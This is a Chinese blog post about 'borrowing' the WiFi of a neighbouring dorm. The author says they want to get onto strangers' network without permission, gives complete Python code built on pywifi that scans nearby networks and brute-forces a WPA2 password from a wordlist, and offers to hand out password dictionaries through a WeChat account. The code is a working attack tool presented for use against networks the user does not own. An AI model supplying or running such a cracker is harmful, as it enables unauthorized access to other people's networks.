本文目录:前期准备-如何破解-实现效果
本文作者:小赖同学
淡黄色的长裙,蓬松的头发,这好像就是我最近的写照。最近因为有点忙,感觉好久没更新文章了,实在是愧对于当初的初心了哈哈哈。
言归正传,为啥会写这篇文章呢,这不,可能是刷视频刷多了,流量都快用完了,而我自己住的地方又没有拉网。如今这社会,不能上网那可真是难受啊,我不想拉网又不想搞流量加油包,所以有点郁闷。
偶然点开手机WiFi列表,发现隔壁宿舍竟然有WiFi!!!OMG,我的天,那我是不是可以蹭一下他们的WiFi,可我又不认识他们,那咋搞呢?心中突然来了个小心思,网上搜索一番,于是乎,就有了这篇文章。
前期准备
那要如何实现蹭WiFi的梦想呢?我可以告诉你,可以用Python来蹭隔壁WiFi。pywifi提供了一个跨平台的Python模块,用于操作无线接口,支持Windows和Linux。官方网址:https://pypi/project/pywifi/。
使用前需要先通过pip install pywifi安装这个模块,安装好了就可以import pywifi使用此模块。但是运行的时候可能会报错,提示comtypes无法找到,此时需要通过pip install comtypes安装comtypes模块。
同时,pywifi破解密码需要准备好密码本,可以自己建一个密码本也可以直接下载已建好的密码本。当然,肯定是使用已建好的密码本啦。我这搜集了两个超级密码本,可以直接在公众号“学渣同学”后台发送“密码本”领取。
如何破解
首先需要声明下,pywifi破解密码是一种暴力破解的方式,其实现原理就是通过操纵网卡,遍历密码本上的密码,一个一个地试,直到密码正确从而连接上对应的WiFi ,所以pywifi只能用来练练手,同时因为其破解速度太慢,实际使用价值不大。
一切准备就绪,那就开始实现梦想吧!基本的实现代码如下:
# !/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author : Lucas Lai
# @File : wifi_decoding.py
# @IDE: PyCharm
import time
import pywifi
from pywifi import const
class Wifi:
def __init__(self):
self.wifi = pywifi.PyWiFi() # 创建WiFi对象
self.wifi_interfaces = self.wifi.interfaces()[0] # 获取第一个无线网卡接口,使用索引0来获得Wi-Fi接口
self.profile = pywifi.profile.Profile() # 创建WiFi连接文件
def get_wifi_list(self):
self.wifi_interfaces.scan() # 扫描附近WiFi
time.sleep(5)
results = self.wifi_interfaces.scan_results() # 等待5s后获取扫描结果
for index, wifi_infos in enumerate(results): # 打印WiFi信息或自定义其他事情
print(index, wifi_infos.bssid, wifi_infos.ssid, wifi_infos.signal)
def connect(self, wifi_ssid, password):
self.profile.ssid = wifi_ssid # WiFi名称
self.profile.auth = const.AUTH_ALG_OPEN # WiFi的认证算法,开放网卡
self.profile.akm.append(const.AKM_TYPE_WPA2PSK) # WiFi的加密类型
self.profile.cipher = const.CIPHER_TYPE_CCMP # WiFi的密码类型
self.profile.key = password # WiFi密码
self.wifi_interfaces.remove_all_network_profiles() # 删除所有WiFi配置文件
tmp_profile = self.wifi_interfaces.add_network_profile(self.profile) # 加载新的配置文件
self.wifi_interfaces.connect(tmp_profile) # 根据新的配置文件连接WiFi
time.sleep(2)
if self.wifi_interfaces.status() == const.IFACE_CONNECTED: # 判断连接状态
print(password, ": the password is ok.")
return True
else:
print(password, ": the password is not ok!!!")
time.sleep(1)
self.wifi_interfaces.disconnect()
def get_wifi_password(self, wifi_ssid, passward_txt):
with open(passward_txt, "r", encoding="utf-8") as f:
for line in f:
wifi_pwd = line.strip("\n")
is_connect = self.connect(wifi_ssid, wifi_pwd)
if is_connect:
print("The right password is ", wifi_pwd)
return wifi_pwd
def main():
pwd_txt = "你的密码本路径"
wifi = Wifi()
wifi.get_wifi_list()
wifi.get_wifi_password("你想要蹭的WiFi热点名称", pwd_txt)
if __name__ == "__main__":
main()
实现效果
因为暴力破解花费时间比较长,为了方便测试实际效果,我自己创建了一个简单的密码本,直接使用手机热点进行测试,效果图如下:
推荐阅读
【Python】我用python爬取一月份微博热搜数据来分析人们对新型肺炎的关注程度变化
无聊的周末,我写了个证件照换底色神器,一秒就“变色”
用Python画小猪佩奇,落叶树和动漫人物
如有问题,可联系我
更多推荐
【Python】教你如何蹭上隔壁的WiFi
发布评论